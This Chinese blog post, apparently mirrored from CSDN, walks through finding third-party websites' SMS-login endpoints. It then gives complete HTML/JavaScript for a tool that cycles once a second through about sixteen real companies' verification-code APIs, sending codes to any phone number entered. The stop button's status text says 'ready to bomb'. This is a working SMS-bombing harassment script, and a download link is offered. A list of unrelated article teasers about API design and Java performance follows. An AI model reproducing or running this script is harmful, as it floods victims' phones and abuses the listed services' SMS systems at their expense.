Javascript发送验证码

article/2025/11/9 5:59:05

一、请求原理

由于现在网站的都有手机登陆或注册,向制定地址发送一个post活get请求,那么我们利用这一思路,就可以在本地上利用Ajax来模拟网站的登陆注册操作,从而实现向发送验证码。

二、获取第三方网站验证码接口

随便找一个带验证码登陆的第三方网站,在浏览器中打开控制台,输入手机号码,点击获取验证码,我们可以看到又一个请求发送出去。

 

 

点击“index.php?m=LoginPhoneNew&a=sendMessageLogin”,查看载荷,我们会发现向下图中标记的url发送了一个get请求,有参数:scene、token,发现phone正是我们刚刚输入的手机号 

 

 

 我们在本地写一段代码,用ajax向上面的地址发送一个get请求,调用test()方法,将num的值换成自己的,看是否有验证码收到。

三、源代码

HTML代码

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>短信接口请求 V1.1</title><meta http-equiv="Access-Control-Allow-Origin" content="*"><link href="plug/bootstrap/bootstrap.min.css" rel="stylesheet"><script src="plug/jquery/jquery-3.4.1.min.js"></script><script src="plug/bootstrap/bootstrap.min.js"></script><script src="plug/crypto/crypto-js.js"></script><script src="index.js"></script>
</head>
<body><div class="row p-3"><div class="col-12"><div class="card border-danger border-1 m-auto" style="width: 500px;"><div class="card-header bg-danger text-white" style="line-height: 32px">短信接口请求 V1.1<a href="https://blog.csdn.net/weixin_43532890/article/details/114928740"><img src="assets/img/js-jun.jpg" class="float-right" width="32" height="32"style="border-radius: 50%"></a></div><div class="card-body pb-0"><div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">手机号</span></div><input type="text" class="form-control" placeholder="" id="phone"></div><button class="btn btn-success" id="start" onclick="send()">开始发送</button><button class="btn btn-danger" id="'end" onclick="end()">停止发送</button><button class="btn btn-primary float-right" onclick="test()">单元测试</button><div class="alert alert-success mt-3 text-center mb-0 p-2" id="msg" role="alert">准备发送</div></div><span class="w-100 text-center p-1" style="font-size: 12px"><a class="text-black-50" href="https://blog.csdn.net/weixin_43532890?spm=1001.2101.3001.5343">By:Js君</a></span></div></div>
</div><script>var timer = nullvar index = 0// 开始发送function send() {$('#start').attr('disabled', true)$('#phone').attr('disabled', true)var phone = $("#phone").val()if (phone.length !== 11) {$('#msg').text('请输入正确的手机号')return}$('#msg').text('正在向:' + phone + '发送')$('#msg').show()timer = setInterval(function () {if (index >= requestList.length) {index = 0;}requestList[index++].fn(phone)}, 1000)}// 停止发送function end() {$('#start').attr('disabled', false)$('#phone').attr('disabled', false)$('#msg').text('准备轰炸')clearTimeout(timer)}// 测试发送function test(phone = ''/*这里填写测试手机号, 仅测试用*/) {$.ajax({url: 'https://editor.588ku.com/site-api/send-tel-login-code',type: 'GET',data: {num: phone,},async: false});}</script>
</body>
</html>

请求接口(注意部分接口可能不能使用,仅供参考),需要自行

/*** 第三方网站短信接口* 最后更新:2021-03-12* @type {*[]}*/
var requestList = [{name: '',fn: function (phone) {$.ajax({headers:{},url: "http://www.900ppt.com/api/login/getSmsCode",data: {phone: phone,easy: 1},type: "GET",dataType: "json",});}},{name: '',fn: function (phone) {$.ajax({url: 'https://editor.588ku.com/site-api/send-tel-login-code',type: 'GET',data: {num: phone,},async: false});}},{name: '',fn: function (phone) {$.ajax({url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",type: "post",data: {phone: phone,},dataType: "json",})}},{name: '',fn: function (phone) {$.ajax({type: 'GET',url: 'https://818ps.com/site-api/send-tel-login-code?num=' + phone,dataType: 'json',async: false,});}},{name: '',fn: function (phone) {function encrypt(data) {var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");var srcs = CryptoJS.enc.Utf8.parse(data);var encrypted = CryptoJS.AES.encrypt(srcs, key, {mode: CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});return encrypted + "";}phone = encodeURIComponent(encrypt(phone))$.ajax({'url': 'http://ecs.tk.cn/eservice/member/login','type': 'post','data': 'syn=Y&functioncode=getmark&mobile=' + phone,'dataType': 'json',});}},{name: '',fn: function (phone) {$.ajax({'url': 'https://ipassport.damai.cn/newlogin/sms/send.do?appName=damai&fromSite=18','type': 'post','data': {phoneCode: '86',loginId: phone,countryCode: 'CN',umidGetStatusVal: 255,navlanguage: 'zh-CN',navPlatform: 'MacIntel',appName: 'damai',appEntrance: 'damai',_csrf_token: '23oX2Nx9U8f1fAY70GEnkA',umidToken: '3052e89b053c39db7435508f6158f606acf913f8',isMobile: false,},dataType: 'json',});}},{name: "",fn: function (phone) {$.ajax({url: "http://www.kuaiming.com/user_zhu/getsjcode1",type: "POST",dataType: "json",data: {userName: phone},})}},{name: '',fn: function (phone) {$.ajax({url: "https://www.sunlife-everbright.com/eportal/ui?struts.portlet.mode=view&struts.portlet.action=/portlet/CommonPageAjaxFront!memberCookies.action&moduleId=dc3a284c84fd4b818a3681828fcd2775&action=SendSmsCode\n",type: "POST",dataType: "json",data: {mobile: phone,action: 'SendSmsCode',},})}},{name: "",fn: function (phone) {$.ajax({url: 'http://user.api.hudunsoft.com/v1/sms',type: 'post',data: {client: "web",client_ver: "4.3.6.0",code: "",device_id: "209a642e56584b2c820b83a95245daf1",domain: "http://huatu.98youxi.com",phone: phone,soft_version: "1.3",source: "122",uuid: "209a642e56584b2c820b83a95245daf1",version: "v1.0.0",},dataType: 'json',})}},{name: "",fn: function (phone) {$.ajax({url: 'https://api-www.izhikang.com/api/sms/send_sms',type: 'post',data: {sign: '3ca53d66c8d4d90bc9d373894d554799',phone: phone,},dataType: 'json',})}},{name: "",fn: function (phone) {$.ajax({url: 'https://www.huohua.cn/passport/auth_code/send',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"authType": "2", "countryCode": "86", "phone": "' + phone + '"}',dataType: 'json',})}},{name: "",fn: function (phone) {$.ajax({url: 'https://open-service.codemao.cn/captcha/rule',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',dataType: 'json',success: function (data) {$.ajax({url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',dataType: 'json',})}})}},{name: "",fn: function (phone) {$.ajax({url: 'https://app-gateway.zmlearn.com/api/operation-web-server/v1/ow/validateChildCode',type: 'POST',headers: {'Content-Type': 'application/json; charset=utf-8'},dataType: 'json',data: JSON.stringify({mobile: '86-' + phone}),})},},{name: '',fn: function (phone) {$.ajax({url: 'http://www.92sucai.com/send_code',type: 'post',data: {type: 1,phone_num: phone,},})}},{name: '',fn: function () {$.ajax({url: 'https://api.gif.cn/register/sms',type: 'post',data: {phone: phone,},})}},{name: '',fn: function () {$.ajax({url: 'https://www.diantoushi.com',type: 'get',data: {mobile: phone,},})}}
]

效果展示

  

四、源码下载 

CSDN下载链接:https://download.csdn.net/download/weixin_43532890/15739414

加入QQ群:640868439 下载(由于审核问题,可到群里下载,免费)


http://chatgpt.dhexx.cn/article/jEcKngvc.shtml

相关文章

简析发送手机验证码原理

文章目录 发放手机验证码手机验证码校验小结 在一般互联网网站&#xff08;如淘宝、京东等&#xff09;注册账号或者找回密码时通常让用户进行手机号码进行 发送验证码验证&#xff0c;这种方式能有效的保证帐号安全&#xff0c;下面来解析一下它的原理。 整体流程如下图如示&…

App接口测试总结

使用工具 Fiddler、Jmeter 测试步骤&#xff1a; 1. 确认接口 从开发人员那里获取接口文档&#xff0c;接口文档应该包括完整的功能接口、接口请求方式、接口请求URL、接口请求参数、接口返回参数。 如果当前项目没有接口文档&#xff0c;则可以使用fiddler对APP进行抓包确认…

Xilinx DDR3 —— MIG IP核的原理(APP接口)

DDR3 SDRAM&#xff08;Double-Data-Rate Three Synchronous Dynamic Random Access Memory&#xff09;是 DDR SDRAM的第三代产品&#xff0c;DDR SDRAM 的最大特点是双沿触发&#xff0c;即在时钟的上升沿和下降沿都能进行数据采集和发送&#xff0c;同样的工作时钟&#xff…

APP接口设计规范

APP接口设计规范 效率安全版本兼容性面向对象设计数据格式Json服务端的异常处理https协议 1.效率 APP对服务器端要求是比较严格的&#xff0c;在移动端有限的带宽条件下&#xff0c;要求接口响应速度要快&#xff0c;所有在开发过程中尽量选择效率高的框架&#xff0c;对数据…

TP6+JWT开发APP接口

1. 开发环境 PHP框架: ThinkPHP6操作系统: MacOsWeb服务器: Nginx 2. APP接口 2.1. 简介 客户端与服务端进行数据交互的通道, 大部分APP接口都是通过HTTP协议通信的 2.2. HTTP通信的三要素 URL 通信地址Method 通信方式(GET|POST|PUT|DELETE)Params 通信的内容 2.3 APP接…

快速开发一个混合APP(Hybrid APP)

混合开发APP&#xff08;Hybrid APP&#xff09;简单说就是将原生功能封装成JS接口&#xff0c;前端通过调用接口实现功能。前端使用html来开发APP&#xff0c;可以实现自动更新&#xff0c;一套代码同时生成Android和iOS两端安装包&#xff0c;开发速度快&#xff0c;用户体验…

Hybrid App开发 四大主流平台

Hybrid App在过去的两年中已经成为移动界的核心话题&#xff0c;但是作为一名Web开发者来说要如何站在移动互联网的浪潮之巅呢&#xff1f;是选择学习原生开发&#xff0c;研究Java、 Object-C、C#等语言&#xff0c;还是选择继续使用网页开发&#xff0c;容忍HTML5功能的局限性…

whatsapp协议api接口

测试demo&#xff1a;http://39.109.122.117:8081/login Whatsappapi 一、登录注册 登录 发送验证码 效验短信验证码 查询是否封号 获取版本号 查询是否封号&#xff08;商业版&#xff09; 发送验证码&#xff08;商业版&#xff09; 效验短信验证码&#xff08;商业…

第一次做APP接口开发过程总结

关于平湖人社APP后台开发总结APP后台接口开发我总结出以下几个部分: 需求分析与整理分析业务需求涉及的模块功能与数据库关联表接口开发文档大致编写并提交产品与APP开发人员 1.主要是webservise 地址:http://XXXX/services/SbcxWebservice?wsdl2.接口函数统一为 sbp_sbcx_XXX…

做APP接口开发过程总结

关于平湖人社APP后台开发总结 APP后台接口开发我总结出以下几个部分: 需求分析与整理 分析业务需求涉及的模块功能与数据库关联表 接口开发文档大致编写并提交产品与APP开发人员 1.主要是webservise 地址:http://XXXX/services/SbcxWebservice?wsdl 2.接口函数统一为 sbp_sbcx…

java性能优化案例——面试可能用得到

一、背景 1.1 业务背景 支付宝卡包存放着用户的会员卡和优惠券。无论是卡券cell&#xff0c;还是卡券详情&#xff0c;都是通过静态模板配置加上动态可变数据&#xff0c;最终呈现给终端用户的。 下面【图1】展现了卡券数据在C端用户的展现形式&#xff0c;【图2】表示了C端…

Java性能优化可算是讲明白了,优化权威指南就是强

在JAVA程序中&#xff0c;性能问题的大部分原因并不在于JAVA语言&#xff0c;而是程序本身。养成良好的编码习惯非常重要&#xff0c;能够显著地提升程序性能。 Java是目前软件开发领域中使用最广泛的编程语言之一。Java应用程序在许多垂直领域&#xff08;银行、电信、医疗保…

面试官:关于Java性能优化,你有什么技巧

通过使用一些辅助性工具来找到程序中的瓶颈&#xff0c;然后就可以对瓶颈部分的代码进行优化。 一般有两种方案&#xff1a;即优化代码或更改设计方法。我们一般会选择后者&#xff0c;因为不去调用以下代码要比调用一些优化的代码更能提高程序的性能。而一个设计良好的程序能…

JAVA性能优化思路探究,让程序超顺畅

1、背景介绍 一个系统的上线除了常规的功能性测试外&#xff0c;还需要经过严格的性能测试&#xff0c;满足预期的性能指标&#xff08;常见的有响应时间&#xff0c;tps等&#xff09;&#xff0c;才允许上生产环境。 广义的性能测试一般还包含负载测试&#xff08;用于测试…

Java接口性能优化实例

Java接口性能优化实例 文章目录 Java接口性能优化实例概述用到的工具和环境工具环境 找瓶颈启示和收获 概述 最近公司的下单接口有些慢&#xff0c;老板担心无法支撑双11&#xff0c;想让我优化一把&#xff0c;但是前提是不允许大改&#xff0c;因为下单接口太复杂了&#xf…

JAVA程序性能优化

制约程序性能的根源 常用的性能评估指标 并发&#xff1a;同一时间多少请求访问&#xff1a;如同一时间10个用户请求&#xff0c;并发就是10TPS&#xff1a;transaction per second&#xff1a;相当于写操作QPS&#xff1a;query per second&#xff1a;相当于读请求&#xf…

Java性能优化的35个细节(珍藏版)

代码优化&#xff0c;一个很重要的课题。可能有些人觉得没用&#xff0c;一些细小的地方有什么好修改的&#xff0c;改与不改对于代码的运行效率有什么影响呢&#xff1f;这个问题我是这么考虑的&#xff0c;就像大海里面的鲸鱼一样&#xff0c;它吃一条小虾米有用吗&#xff1…

Java 中 10 大简单的性能优化

Java 7 ForkJoinPool和 Java 8 的并行Stream有助于并行化东西&#xff0c;这在您将 Java 程序部署到多核处理器机器上时非常有用。与跨网络上的不同机器进行扩展相比&#xff0c;这种并行性的优势在于您几乎可以完全消除延迟效应&#xff0c;因为所有内核都可以访问相同的内存。…

Java性能优化的七个方向

博客主页&#xff1a;https://tomcat.blog.csdn.net 博主昵称&#xff1a;农民工老王 主要领域&#xff1a;Java、Linux、K8S 期待大家的关注&#x1f496;点赞&#x1f44d;收藏⭐留言&#x1f4ac; 目录 概述复用优化计算优化并行执行变同步为异步惰性加载 结果集优化资源冲…

JAVA性能优化实例

目录 概述 Sql性能优化 多线程 利用内存缓存 功能优化 参考博客 概述 性能优化的几个点&#xff0c;大致可以分为&#xff1a; sql优化使用多线程利用内存&#xff0c;缓存等&#xff0c;将固定不常更改的数据放入在&#xff0c;存取更快的内存当中功能实现逻辑优化 Sql性…